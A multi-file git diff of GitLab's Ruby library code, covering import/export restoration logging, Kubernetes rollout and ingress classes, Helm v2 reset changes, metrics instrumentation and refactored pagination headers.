diff --git a/lib/gitlab/import_export/relation_tree_restorer.rb b/lib/gitlab/import_export/relation_tree_restorer.rb
index ea16d978127..8bc87ecb071 100644
--- a/lib/gitlab/import_export/relation_tree_restorer.rb
+++ b/lib/gitlab/import_export/relation_tree_restorer.rb
@@ -71,7 +71,7 @@ module Gitlab
end
def process_relation_item!(relation_key, relation_definition, relation_index, data_hash)
- relation_object = build_relation(relation_key, relation_definition, data_hash)
+ relation_object = build_relation(relation_key, relation_definition, relation_index, data_hash)
return unless relation_object
return if importable_class == ::Project && group_model?(relation_object)
@@ -139,23 +139,35 @@ module Gitlab
end
end
- def build_relations(relation_key, relation_definition, data_hashes)
+ def build_relations(relation_key, relation_definition, relation_index, data_hashes)
data_hashes
- .map { |data_hash| build_relation(relation_key, relation_definition, data_hash) }
+ .map { |data_hash| build_relation(relation_key, relation_definition, relation_index, data_hash) }
.tap { |entries| entries.compact! }
end
- def build_relation(relation_key, relation_definition, data_hash)
+ def build_relation(relation_key, relation_definition, relation_index, data_hash)
# TODO: This is hack to not create relation for the author
# Rather make `RelationFactory#set_note_author` to take care of that
return data_hash if relation_key == 'author' || already_restored?(data_hash)
# create relation objects recursively for all sub-objects
relation_definition.each do |sub_relation_key, sub_relation_definition|
- transform_sub_relations!(data_hash, sub_relation_key, sub_relation_definition)
+ transform_sub_relations!(data_hash, sub_relation_key, sub_relation_definition, relation_index)
end
- @relation_factory.create(relation_factory_params(relation_key, data_hash))
+ relation = @relation_factory.create(**relation_factory_params(relation_key, data_hash))
+
+ if relation && !relation.valid?
+ @shared.logger.warn(
+ message: "[Project/Group Import] Invalid object relation built",
+ relation_key: relation_key,
+ relation_index: relation_index,
+ relation_class: relation.class.name,
+ error_messages: relation.errors.full_messages.join(". ")
+ )
+ end
+
+ relation
end
# Since we update the data hash in place as we restore relation items,
@@ -165,7 +177,7 @@ module Gitlab
!relation_item.is_a?(Hash)
end
- def transform_sub_relations!(data_hash, sub_relation_key, sub_relation_definition)
+ def transform_sub_relations!(data_hash, sub_relation_key, sub_relation_definition, relation_index)
sub_data_hash = data_hash[sub_relation_key]
return unless sub_data_hash
@@ -176,11 +188,13 @@ module Gitlab
build_relations(
sub_relation_key,
sub_relation_definition,
+ relation_index,
sub_data_hash).presence
else
build_relation(
sub_relation_key,
sub_relation_definition,
+ relation_index,
sub_data_hash)
end
diff --git a/lib/gitlab/import_export/wiki_restorer.rb b/lib/gitlab/import_export/wiki_restorer.rb
deleted file mode 100644
index 359ba8ba769..00000000000
--- a/lib/gitlab/import_export/wiki_restorer.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module ImportExport
- class WikiRestorer < RepoRestorer
- def initialize(project:, shared:, path_to_bundle:, wiki_enabled:)
- super(project: project, shared: shared, path_to_bundle: path_to_bundle)
-
- @project = project
- @wiki_enabled = wiki_enabled
- end
-
- def restore
- project.wiki if create_empty_wiki?
-
- super
- end
-
- private
-
- attr_accessor :project, :wiki_enabled
-
- def create_empty_wiki?
- !File.exist?(path_to_bundle) && wiki_enabled
- end
- end
- end
-end
diff --git a/lib/gitlab/import_sources.rb b/lib/gitlab/import_sources.rb
index 58c7744fae0..88753e80391 100644
--- a/lib/gitlab/import_sources.rb
+++ b/lib/gitlab/import_sources.rb
@@ -15,7 +15,7 @@ module Gitlab
ImportSource.new('bitbucket', 'Bitbucket Cloud', Gitlab::BitbucketImport::Importer),
ImportSource.new('bitbucket_server', 'Bitbucket Server', Gitlab::BitbucketServerImport::Importer),
ImportSource.new('gitlab', 'GitLab.com', Gitlab::GitlabImport::Importer),
- ImportSource.new('google_code', 'Google Code', Gitlab::GoogleCodeImport::Importer),
+ ImportSource.new('google_code', 'Google Code', nil),
ImportSource.new('fogbugz', 'FogBugz', Gitlab::FogbugzImport::Importer),
ImportSource.new('git', 'Repo by URL', nil),
ImportSource.new('gitlab_project', 'GitLab export', Gitlab::ImportExport::Importer),
diff --git a/lib/gitlab/instrumentation_helper.rb b/lib/gitlab/instrumentation_helper.rb
index d7228099eaf..6b0f01757b7 100644
--- a/lib/gitlab/instrumentation_helper.rb
+++ b/lib/gitlab/instrumentation_helper.rb
@@ -13,7 +13,8 @@ module Gitlab
:rugged_duration_s,
:elasticsearch_calls,
:elasticsearch_duration_s,
- *::Gitlab::Instrumentation::Redis.known_payload_keys]
+ *::Gitlab::Instrumentation::Redis.known_payload_keys,
+ *::Gitlab::Metrics::Subscribers::ActiveRecord::DB_COUNTERS]
end
def add_instrumentation_data(payload)
@@ -22,6 +23,7 @@ module Gitlab
instrument_redis(payload)
instrument_elasticsearch(payload)
instrument_throttle(payload)
+ instrument_active_record(payload)
end
def instrument_gitaly(payload)
@@ -62,6 +64,12 @@ module Gitlab
payload[:throttle_safelist] = safelist if safelist.present?
end
+ def instrument_active_record(payload)
+ db_counters = ::Gitlab::Metrics::Subscribers::ActiveRecord.db_counter_payload
+
+ payload.merge!(db_counters)
+ end
+
# Returns the queuing duration for a Sidekiq job in seconds, as a float, if the
# `enqueued_at` field or `created_at` field is available.
#
diff --git a/lib/gitlab/kroki.rb b/lib/gitlab/kroki.rb
new file mode 100644
index 00000000000..8c5652fb766
--- /dev/null
+++ b/lib/gitlab/kroki.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require 'asciidoctor/extensions/asciidoctor_kroki/extension'
+
+module Gitlab
+ # Helper methods for Kroki
+ module Kroki
+ BLOCKDIAG_FORMATS = %w[
+ blockdiag
+ seqdiag
+ actdiag
+ nwdiag
+ packetdiag
+ rackdiag
+ ].freeze
+ # Diagrams that require a companion container are disabled for now
+ DIAGRAMS_FORMATS = ::AsciidoctorExtensions::Kroki::SUPPORTED_DIAGRAM_NAMES
+ .reject { |diagram_type| diagram_type == 'mermaid' || diagram_type == 'bpmn' || BLOCKDIAG_FORMATS.include?(diagram_type) }
+ DIAGRAMS_FORMATS_WO_PLANTUML = DIAGRAMS_FORMATS
+ .reject { |diagram_type| diagram_type == 'plantuml' }
+
+ # Get the list of diagram formats that are currently enabled
+ #
+ # Returns an Array of diagram formats.
+ # If Kroki is not enabled, returns an empty Array.
+ def self.formats(current_settings)
+ return [] unless current_settings.kroki_enabled
+
+ # If PlantUML is enabled, PlantUML diagrams will be processed by the PlantUML server.
+ # In other words, the PlantUML server has precedence over Kroki since both can process PlantUML diagrams.
+ if current_settings.plantuml_enabled
+ DIAGRAMS_FORMATS_WO_PLANTUML
+ else
+ DIAGRAMS_FORMATS
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/kubernetes/deployment.rb b/lib/gitlab/kubernetes/deployment.rb
new file mode 100644
index 00000000000..55ed9a7517e
--- /dev/null
+++ b/lib/gitlab/kubernetes/deployment.rb
@@ -0,0 +1,117 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Kubernetes
+ class Deployment
+ include Gitlab::Utils::StrongMemoize
+
+ STABLE_TRACK_VALUE = 'stable'.freeze
+
+ def initialize(attributes = {}, pods: [])
+ @attributes = attributes
+ @pods = pods
+ end
+
+ def name
+ metadata['name'] || 'unknown'
+ end
+
+ def labels
+ metadata.fetch('labels', {})
+ end
+
+ def annotations
+ metadata.fetch('annotations', {})
+ end
+
+ def track
+ labels.fetch('track', STABLE_TRACK_VALUE)
+ end
+
+ def stable?
+ track == 'stable'
+ end
+
+ def order
+ stable? ? 1 : 0
+ end
+
+ def outdated?
+ observed_generation < generation
+ end
+
+ def wanted_instances
+ spec.fetch('replicas', 0)
+ end
+
+ def created_instances
+ filtered_pods_by_track.map do |pod|
+ pod_metadata = pod.fetch('metadata', {})
+ pod_name = pod_metadata['name'] || pod_metadata['generateName']
+ pod_status = pod.dig('status', 'phase')
+
+ deployment_instance(pod_name: pod_name, pod_status: pod_status)
+ end
+ end
+
+ # These are replicas that did not get created yet,
+ # So they still do not have any associated pod,
+ # these are marked as pending instances.
+ def not_created_instances
+ pending_instances_count = wanted_instances - filtered_pods_by_track.count
+
+ return [] if pending_instances_count <= 0
+
+ Array.new(pending_instances_count, deployment_instance(pod_name: 'Not provided', pod_status: 'Pending'))
+ end
+
+ def filtered_pods_by_track
+ strong_memoize(:filtered_pods_by_track) do
+ @pods.select { |pod| has_same_track?(pod) }
+ end
+ end
+
+ def instances
+ created_instances + not_created_instances
+ end
+
+ private
+
+ def deployment_instance(pod_name:, pod_status:)
+ {
+ status: pod_status&.downcase,
+ pod_name: pod_name,
+ tooltip: "#{pod_name} (#{pod_status})",
+ track: track,
+ stable: stable?
+ }
+ end
+
+ def has_same_track?(pod)
+ pod_track = pod.dig('metadata', 'labels', 'track') || STABLE_TRACK_VALUE
+
+ pod_track == track
+ end
+
+ def metadata
+ @attributes.fetch('metadata', {})
+ end
+
+ def spec
+ @attributes.fetch('spec', {})
+ end
+
+ def status
+ @attributes.fetch('status', {})
+ end
+
+ def generation
+ metadata.fetch('generation', 0)
+ end
+
+ def observed_generation
+ status.fetch('observedGeneration', 0)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/kubernetes/helm/v2/client_command.rb b/lib/gitlab/kubernetes/helm/v2/client_command.rb
index 88693a28d6c..8b15af9aeea 100644
--- a/lib/gitlab/kubernetes/helm/v2/client_command.rb
+++ b/lib/gitlab/kubernetes/helm/v2/client_command.rb
@@ -22,17 +22,6 @@ module Gitlab
def repository_update_command
'helm repo update'
end
-
- def optional_tls_flags
- return [] unless files.key?(:'ca.pem')
-
- [
- '--tls',
- '--tls-ca-cert', "#{files_dir}/ca.pem",
- '--tls-cert', "#{files_dir}/cert.pem",
- '--tls-key', "#{files_dir}/key.pem"
- ]
- end
end
end
end
diff --git a/lib/gitlab/kubernetes/helm/v2/reset_command.rb b/lib/gitlab/kubernetes/helm/v2/reset_command.rb
index 172a0884c49..00626501a9a 100644
--- a/lib/gitlab/kubernetes/helm/v2/reset_command.rb
+++ b/lib/gitlab/kubernetes/helm/v2/reset_command.rb
@@ -9,9 +9,8 @@ module Gitlab
def generate_script
super + [
- reset_helm_command,
- delete_tiller_replicaset,
- delete_tiller_clusterrolebinding
+ init_command,
+ reset_helm_command
].join("\n")
end
@@ -21,27 +20,8 @@ module Gitlab
private
- # This method can be delete once we upgrade Helm to > 12.13.0
- # https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/27096#note_159695900
- #
- # Tracking this method to be removed here:
- # https://gitlab.com/gitlab-org/gitlab-foss/issues/52791#note_199374155
- def delete_tiller_replicaset
- delete_args = %w[replicaset -n gitlab-managed-apps -l name=tiller]
-
- Gitlab::Kubernetes::KubectlCmd.delete(*delete_args)
- end
-
- def delete_tiller_clusterrolebinding
- delete_args = %w[clusterrolebinding tiller-admin]
-
- Gitlab::Kubernetes::KubectlCmd.delete(*delete_args)
- end
-
def reset_helm_command
- command = %w[helm reset] + optional_tls_flags
-
- command.shelljoin
+ 'helm reset --force'
end
end
end
diff --git a/lib/gitlab/kubernetes/ingress.rb b/lib/gitlab/kubernetes/ingress.rb
new file mode 100644
index 00000000000..c5643dd670a
--- /dev/null
+++ b/lib/gitlab/kubernetes/ingress.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Kubernetes
+ class Ingress
+ include Gitlab::Utils::StrongMemoize
+
+ # Canary Ingress Annotations https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/#canary
+ ANNOTATION_KEY_CANARY = 'nginx.ingress.kubernetes.io/canary'
+ ANNOTATION_KEY_CANARY_WEIGHT = 'nginx.ingress.kubernetes.io/canary-weight'
+
+ def initialize(attributes = {})
+ @attributes = attributes
+ end
+
+ def canary?
+ strong_memoize(:is_canary) do
+ annotations.any? do |key, value|
+ key == ANNOTATION_KEY_CANARY && value == 'true'
+ end
+ end
+ end
+
+ def canary_weight
+ return unless canary?
+ return unless annotations.key?(ANNOTATION_KEY_CANARY_WEIGHT)
+
+ annotations[ANNOTATION_KEY_CANARY_WEIGHT].to_i
+ end
+
+ def name
+ metadata['name']
+ end
+
+ private
+
+ def metadata
+ @attributes.fetch('metadata', {})
+ end
+
+ def annotations
+ metadata.fetch('annotations', {})
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/kubernetes/rollout_instances.rb b/lib/gitlab/kubernetes/rollout_instances.rb
new file mode 100644
index 00000000000..c5dba71f505
--- /dev/null
+++ b/lib/gitlab/kubernetes/rollout_instances.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Kubernetes
+ class RolloutInstances
+ include ::Gitlab::Utils::StrongMemoize
+
+ def initialize(deployments, pods)
+ @deployments = deployments
+ @pods = pods
+ end
+
+ def pod_instances
+ pods = matching_pods + extra_pending_pods
+
+ pods.sort_by(&:order).map do |pod|
+ to_hash(pod)
+ end
+ end
+
+ private
+
+ attr_reader :deployments, :pods
+
+ def matching_pods
+ strong_memoize(:matching_pods) do
+ deployment_tracks = deployments.map(&:track)
+ pods.select { |p| deployment_tracks.include?(p.track) }
+ end
+ end
+
+ def extra_pending_pods
+ wanted_instances = sum_hashes(deployments.map { |d| { d.track => d.wanted_instances } })
+ present_instances = sum_hashes(matching_pods.map { |p| { p.track => 1 } })
+ pending_instances = subtract_hashes(wanted_instances, present_instances)
+
+ pending_instances.flat_map do |track, num|
+ Array.new(num, pending_pod_for(track))
+ end
+ end
+
+ def sum_hashes(hashes)
+ hashes.reduce({}) do |memo, hash|
+ memo.merge(hash) { |_key, memo_val, hash_val| memo_val + hash_val }
+ end
+ end
+
+ def subtract_hashes(hash_a, hash_b)
+ hash_a.merge(hash_b) { |_key, val_a, val_b| [0, val_a - val_b].max }
+ end
+
+ def pending_pod_for(track)
+ ::Gitlab::Kubernetes::Pod.new({
+ 'status' => { 'phase' => 'Pending' },
+ 'metadata' => {
+ 'name' => 'Not provided',
+ 'labels' => {
+ 'track' => track
+ }
+ }
+ })
+ end
+
+ def to_hash(pod)
+ {
+ status: pod.status&.downcase,
+ pod_name: pod.name,
+ tooltip: "#{pod.name} (#{pod.status})",
+ track: pod.track,
+ stable: pod.stable?
+ }
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/kubernetes/rollout_status.rb b/lib/gitlab/kubernetes/rollout_status.rb
new file mode 100644
index 00000000000..e275303e650
--- /dev/null
+++ b/lib/gitlab/kubernetes/rollout_status.rb
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Kubernetes
+ # Calculates the rollout status for a set of kubernetes deployments.
+ #
+ # A GitLab environment may be composed of several Kubernetes deployments and
+ # other resources. The rollout status sums the Kubernetes deployments
+ # together.
+ class RolloutStatus
+ attr_reader :deployments, :instances, :completion, :status, :canary_ingress
+
+ def complete?
+ completion == 100
+ end
+
+ def loading?
+ @status == :loading
+ end
+
+ def not_found?
+ @status == :not_found
+ end
+
+ def found?
+ @status == :found
+ end
+
+ def canary_ingress_exists?
+ canary_ingress.present?
+ end
+
+ def self.from_deployments(*deployments_attrs, pods_attrs: [], ingresses: [])
+ return new([], status: :not_found) if deployments_attrs.empty?
+
+ deployments = deployments_attrs.map do |attrs|
+ ::Gitlab::Kubernetes::Deployment.new(attrs, pods: pods_attrs)
+ end
+ deployments.sort_by!(&:order)
+
+ pods = pods_attrs.map do |attrs|
+ ::Gitlab::Kubernetes::Pod.new(attrs)
+ end
+
+ ingresses = ingresses.map { |ingress| ::Gitlab::Kubernetes::Ingress.new(ingress) }
+
+ new(deployments, pods: pods, ingresses: ingresses)
+ end
+
+ def self.loading
+ new([], status: :loading)
+ end
+
+ def initialize(deployments, pods: [], ingresses: [], status: :found)
+ @status = status
+ @deployments = deployments
+ @instances = RolloutInstances.new(deployments, pods).pod_instances
+ @canary_ingress = ingresses.find(&:canary?)
+
+ @completion =
+ if @instances.empty?
+ 100
+ else
+ # We downcase the pod status in Gitlab::Kubernetes::Deployment#deployment_instance
+ finished = @instances.count { |instance| instance[:status] == ::Gitlab::Kubernetes::Pod::RUNNING.downcase }
+
+ (finished / @instances.count.to_f * 100).to_i
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/legacy_github_import/project_creator.rb b/lib/gitlab/legacy_github_import/project_creator.rb
index b484b69c932..c54325bcdf5 100644
--- a/lib/gitlab/legacy_github_import/project_creator.rb
+++ b/lib/gitlab/legacy_github_import/project_creator.rb
@@ -5,7 +5,7 @@ module Gitlab
class ProjectCreator
attr_reader :repo, :name, :namespace, :current_user, :session_data, :type
- def initialize(repo, name, namespace, current_user, session_data, type: 'github')
+ def initialize(repo, name, namespace, current_user, type: 'github', **session_data)
@repo = repo
@name = name
@namespace = namespace
diff --git a/lib/gitlab/markdown_cache/active_record/extension.rb b/lib/gitlab/markdown_cache/active_record/extension.rb
index 233d3bf1ac7..1de890c84f9 100644
--- a/lib/gitlab/markdown_cache/active_record/extension.rb
+++ b/lib/gitlab/markdown_cache/active_record/extension.rb
@@ -10,6 +10,7 @@ module Gitlab
# Using before_update here conflicts with elasticsearch-model somehow
before_create :refresh_markdown_cache, if: :invalidated_markdown_cache?
before_update :refresh_markdown_cache, if: :invalidated_markdown_cache?
+ after_save :store_mentions!, if: :mentionable_attributes_changed?
end
# Always exclude _html fields from attributes (including serialization).
diff --git a/lib/gitlab/metrics/background_transaction.rb b/lib/gitlab/metrics/background_transaction.rb
deleted file mode 100644
index 7b05ae29b02..00000000000
--- a/lib/gitlab/metrics/background_transaction.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Metrics
- class BackgroundTransaction < Transaction
- def initialize(worker_class)
- super()
- @worker_class = worker_class
- end
-
- def labels
- { controller: @worker_class.name, action: 'perform', feature_category: @worker_class.try(:get_feature_category).to_s }
- end
- end
- end
-end
diff --git a/lib/gitlab/metrics/sidekiq_middleware.rb b/lib/gitlab/metrics/sidekiq_middleware.rb
deleted file mode 100644
index 8c4e5a8d70c..00000000000
--- a/lib/gitlab/metrics/sidekiq_middleware.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Metrics
- # Sidekiq middleware for tracking jobs.
- #
- # This middleware is intended to be used as a server-side middleware.
- class SidekiqMiddleware
- def call(worker, payload, queue)
- trans = BackgroundTransaction.new(worker.class)
-
- begin
- # Old gitlad-shell messages don't provide enqueued_at/created_at attributes
- enqueued_at = payload['enqueued_at'] || payload['created_at'] || 0
- trans.set(:gitlab_transaction_sidekiq_queue_duration_total, Time.current.to_f - enqueued_at) do
- multiprocess_mode :livesum
- end
- trans.run { yield }
- rescue Exception => error # rubocop: disable Lint/RescueException
- trans.add_event(:sidekiq_exception)
-
- raise error
- ensure
- add_info_to_payload(payload, trans)
- end
- end
-
- private
-
- def add_info_to_payload(payload, trans)
- payload.merge!(::Gitlab::Metrics::Subscribers::ActiveRecord.db_counter_payload)
- end
- end
- end
-end
diff --git a/lib/gitlab/metrics/subscribers/active_record.rb b/lib/gitlab/metrics/subscribers/active_record.rb
index f9ba0a69b0e..d725d8d7b29 100644
--- a/lib/gitlab/metrics/subscribers/active_record.rb
+++ b/lib/gitlab/metrics/subscribers/active_record.rb
@@ -16,16 +16,14 @@ module Gitlab
# using a connection.
Thread.current[:uses_db_connection] = true
- return unless current_transaction
-
payload = event.payload
return if payload[:name] == 'SCHEMA' || IGNORABLE_SQL.include?(payload[:sql])
- current_transaction.observe(:gitlab_sql_duration_seconds, event.duration / 1000.0) do
+ increment_db_counters(payload)
+
+ current_transaction&.observe(:gitlab_sql_duration_seconds, event.duration / 1000.0) do
buckets [0.05, 0.1, 0.25]
end
-
- increment_db_counters(payload)
end
def self.db_counter_payload
@@ -53,7 +51,7 @@ module Gitlab
end
def increment(counter)
- current_transaction.increment("gitlab_transaction_#{counter}_total".to_sym, 1)
+ current_transaction&.increment("gitlab_transaction_#{counter}_total".to_sym, 1)
if Gitlab::SafeRequestStore.active?
Gitlab::SafeRequestStore[counter] = Gitlab::SafeRequestStore[counter].to_i + 1
diff --git a/lib/gitlab/metrics/transaction.rb b/lib/gitlab/metrics/transaction.rb
index 95bc90f9dad..3ebafb5c5e4 100644
--- a/lib/gitlab/metrics/transaction.rb
+++ b/lib/gitlab/metrics/transaction.rb
@@ -48,23 +48,15 @@ module Gitlab
@finished_at ? (@finished_at - @started_at) : 0.0
end
- def thread_cpu_duration
- System.thread_cpu_duration(@thread_cputime_start)
- end
-
def run
Thread.current[THREAD_KEY] = self
@started_at = System.monotonic_time
- @thread_cputime_start = System.thread_cpu_time
yield
ensure
@finished_at = System.monotonic_time
- observe(:gitlab_transaction_cputime_seconds, thread_cpu_duration) do
- buckets SMALL_BUCKETS
- end
observe(:gitlab_transaction_duration_seconds, duration) do
buckets SMALL_BUCKETS
end
diff --git a/lib/gitlab/metrics/web_transaction.rb b/lib/gitlab/metrics/web_transaction.rb
index 2064f9290d3..1811389a744 100644
--- a/lib/gitlab/metrics/web_transaction.rb
+++ b/lib/gitlab/metrics/web_transaction.rb
@@ -66,9 +66,10 @@ module Gitlab
if route
path = endpoint_paths_cache[route.request_method][route.path]
- # Feature categories will be added for grape endpoints in
- # https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/462
- { controller: 'Grape', action: "#{route.request_method} #{path}", feature_category: '' }
+ grape_class = endpoint.options[:for]
+ feature_category = grape_class.try(:feature_category_for_app, endpoint).to_s
+
+ { controller: 'Grape', action: "#{route.request_method} #{path}", feature_category: feature_category }
end
end
diff --git a/lib/gitlab/middleware/read_only/controller.rb b/lib/gitlab/middleware/read_only/controller.rb
index 101172cdfcc..b11ee0afc10 100644
--- a/lib/gitlab/middleware/read_only/controller.rb
+++ b/lib/gitlab/middleware/read_only/controller.rb
@@ -9,7 +9,7 @@ module Gitlab
APPLICATION_JSON_TYPES = %W{#{APPLICATION_JSON} application/vnd.git-lfs+json}.freeze
ERROR_MESSAGE = 'You cannot perform write operations on a read-only instance'
- ALLOWLISTED_GIT_ROUTES = {
+ ALLOWLISTED_GIT_READ_ONLY_ROUTES = {
'repositories/git_http' => %w{git_upload_pack}
}.freeze
@@ -34,7 +34,7 @@ module Gitlab
end
def call
- if disallowed_request? && Gitlab::Database.read_only?
+ if disallowed_request? && read_only?
Gitlab::AppLogger.debug('GitLab ReadOnly: preventing possible non read-only operation')
if json_request?
@@ -57,6 +57,11 @@ module Gitlab
!allowlisted_routes
end
+ # Overridden in EE module
+ def read_only?
+ Gitlab::Database.read_only?
+ end
+
def json_request?
APPLICATION_JSON_TYPES.include?(request.media_type)
end
@@ -97,7 +102,7 @@ module Gitlab
return false unless request.post? &&
request.path.end_with?('.git/git-upload-pack')
- ALLOWLISTED_GIT_ROUTES[route_hash[:controller]]&.include?(route_hash[:action])
+ ALLOWLISTED_GIT_READ_ONLY_ROUTES[route_hash[:controller]]&.include?(route_hash[:action])
end
def internal_route?
diff --git a/lib/gitlab/pagination/gitaly_keyset_pager.rb b/lib/gitlab/pagination/gitaly_keyset_pager.rb
index 651e3d5a807..1350168967e 100644
--- a/lib/gitlab/pagination/gitaly_keyset_pager.rb
+++ b/lib/gitlab/pagination/gitaly_keyset_pager.rb
@@ -15,6 +15,7 @@ module Gitlab
# and supports pagination via gitaly.
def paginate(finder)
return paginate_via_gitaly(finder) if keyset_pagination_enabled?
+ return paginate_first_page_via_gitaly(finder) if paginate_first_page?
branches = ::Kaminari.paginate_array(finder.execute)
Gitlab::Pagination::OffsetPagination
@@ -25,7 +26,11 @@ module Gitlab
private
def keyset_pagination_enabled?
- Feature.enabled?(:branch_list_keyset_pagination, project) && params[:pagination] == 'keyset'
+ Feature.enabled?(:branch_list_keyset_pagination, project, default_enabled: true) && params[:pagination] == 'keyset'
+ end
+
+ def paginate_first_page?
+ Feature.enabled?(:branch_list_keyset_pagination, project, default_enabled: true) && (params[:page].blank? || params[:page].to_i == 1)
end
def paginate_via_gitaly(finder)
@@ -34,6 +39,20 @@ module Gitlab
end
end
+ # When first page is requested, we paginate the data via Gitaly
+ # Headers are added to immitate offset pagination, while it is the default option
+ def paginate_first_page_via_gitaly(finder)
+ finder.execute(gitaly_pagination: true).tap do |records|
+ total = project.repository.branch_count
+ per_page = params[:per_page].presence || Kaminari.config.default_per_page
+
+ Gitlab::Pagination::OffsetHeaderBuilder.new(
+ request_context: request_context, per_page: per_page, page: 1, next_page: 2,
+ total: total, total_pages: total / per_page + 1
+ ).execute
+ end
+ end
+
def apply_headers(records)
if records.count == params[:per_page]
Gitlab::Pagination::Keyset::HeaderBuilder
diff --git a/lib/gitlab/pagination/offset_header_builder.rb b/lib/gitlab/pagination/offset_header_builder.rb
new file mode 100644
index 00000000000..32089e40932
--- /dev/null
+++ b/lib/gitlab/pagination/offset_header_builder.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Pagination
+ class OffsetHeaderBuilder
+ attr_reader :request_context, :per_page, :page, :next_page, :prev_page, :total, :total_pages
+
+ delegate :params, :header, :request, to: :request_context
+
+ def initialize(request_context:, per_page:, page:, next_page:, prev_page: nil, total:, total_pages:)
+ @request_context = request_context
+ @per_page = per_page
+ @page = page
+ @next_page = next_page
+ @prev_page = prev_page
+ @total = total
+ @total_pages = total_pages
+ end
+
+ def execute(exclude_total_headers: false, data_without_counts: false)
+ header 'X-Per-Page', per_page.to_s
+ header 'X-Page', page.to_s
+ header 'X-Next-Page', next_page.to_s
+ header 'X-Prev-Page', prev_page.to_s
+ header 'Link', pagination_links(data_without_counts)
+
+ return if exclude_total_headers || data_without_counts
+
+ header 'X-Total', total.to_s
+ header 'X-Total-Pages', total_pages.to_s
+ end
+
+ private
+
+ def pagination_links(data_without_counts)
+ [].tap do |links|
+ links << %(<#{page_href(page: prev_page)}>; rel="prev") if prev_page
+ links << %(<#{page_href(page: next_page)}>; rel="next") if next_page
+ links << %(<#{page_href(page: 1)}>; rel="first")
+
+ links << %(<#{page_href(page: total_pages)}>; rel="last") unless data_without_counts
+ end.join(', ')
+ end
+
+ def base_request_uri
+ @base_request_uri ||= URI.parse(request.url).tap do |uri|
+ uri.host = Gitlab.config.gitlab.host
+ uri.port = Gitlab.config.gitlab.port
+ end
+ end
+
+ def build_page_url(query_params:)
+ base_request_uri.tap do |uri|
+ uri.query = query_params
+ end.to_s
+ end
+
+ def page_href(next_page_params = {})
+ query_params = params.merge(**next_page_params, per_page: params[:per_page]).to_query
+
+ build_page_url(query_params: query_params)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/pagination/offset_pagination.rb b/lib/gitlab/pagination/offset_pagination.rb
index 46c74b8fe3c..2805b12d95d 100644
--- a/lib/gitlab/pagination/offset_pagination.rb
+++ b/lib/gitlab/pagination/offset_pagination.rb
@@ -48,58 +48,26 @@ module Gitlab
end
def add_pagination_headers(paginated_data, exclude_total_headers)
- header 'X-Per-Page', paginated_data.limit_value.to_s
- header 'X-Page', paginated_data.current_page.to_s
- header 'X-Next-Page', paginated_data.next_page.to_s
- header 'X-Prev-Page', paginated_data.prev_page.to_s
- header 'Link', pagination_links(paginated_data)
-
- return if exclude_total_headers || data_without_counts?(paginated_data)
-
- header 'X-Total', paginated_data.total_count.to_s
- header 'X-Total-Pages', total_pages(paginated_data).to_s
- end
-
- def pagination_links(paginated_data)
- [].tap do |links|
- links << %(<#{page_href(page: paginated_data.prev_page)}>; rel="prev") if paginated_data.prev_page
- links << %(<#{page_href(page: paginated_data.next_page)}>; rel="next") if paginated_data.next_page
- links << %(<#{page_href(page: 1)}>; rel="first")
-
- links << %(<#{page_href(page: total_pages(paginated_data))}>; rel="last") unless data_without_counts?(paginated_data)
- end.join(', ')
- end
-
- def total_pages(paginated_data)
- # Ensure there is in total at least 1 page
- [paginated_data.total_pages, 1].max
+ Gitlab::Pagination::OffsetHeaderBuilder.new(
+ request_context: self, per_page: paginated_data.limit_value, page: paginated_data.current_page,
+ next_page: paginated_data.next_page, prev_page: paginated_data.prev_page,
+ total: total_count(paginated_data), total_pages: total_pages(paginated_data)
+ ).execute(exclude_total_headers: exclude_total_headers, data_without_counts: data_without_counts?(paginated_data))
end
def data_without_counts?(paginated_data)
paginated_data.is_a?(Kaminari::PaginatableWithoutCount)
end
- def base_request_uri
- @base_request_uri ||= URI.parse(request.url).tap do |uri|
- uri.host = Gitlab.config.gitlab.host
- uri.port = Gitlab.config.gitlab.port
- end
+ def total_count(paginated_data)
+ paginated_data.total_count unless data_without_counts?(paginated_data)
end
- def build_page_url(query_params:)
- base_request_uri.tap do |uri|
- uri.query = query_params
- end.to_s
- end
-
- def page_href(next_page_params = {})
- query_params = params.merge(**next_page_params, per_page: per_page).to_query
-
- build_page_url(query_params: query_params)
- end
+ def total_pages(paginated_data)
+ return if data_without_counts?(paginated_data)
- def per_page
- @per_page ||= params[:per_page]
+ # Ensure there is in total at least 1 page
+ [paginated_data.total_pages, 1].max
end
end
end
diff --git a/lib/gitlab/path_regex.rb b/lib/gitlab/path_regex.rb
index ad0a5c80604..2ff23980ebd 100644
--- a/lib/gitlab/path_regex.rb
+++ b/lib/gitlab/path_regex.rb
@@ -180,12 +180,16 @@ module Gitlab
end
end
- def project_git_route_regex
- @project_git_route_regex ||= /#{project_route_regex}\.git/.freeze
+ def repository_route_regex
+ @repository_route_regex ||= /#{full_namespace_route_regex}|#{personal_snippet_repository_path_regex}/.freeze
end
- def project_wiki_git_route_regex
- @project_wiki_git_route_regex ||= /#{PATH_REGEX_STR}\.wiki/.freeze
+ def repository_git_route_regex
+ @repository_git_route_regex ||= /#{repository_route_regex}\.git/.freeze
+ end
+
+ def repository_wiki_git_route_regex
+ @repository_wiki_git_route_regex ||= /#{full_namespace_route_regex}\.wiki\.git/.freeze
end
def full_namespace_path_regex
@@ -250,10 +254,6 @@ module Gitlab
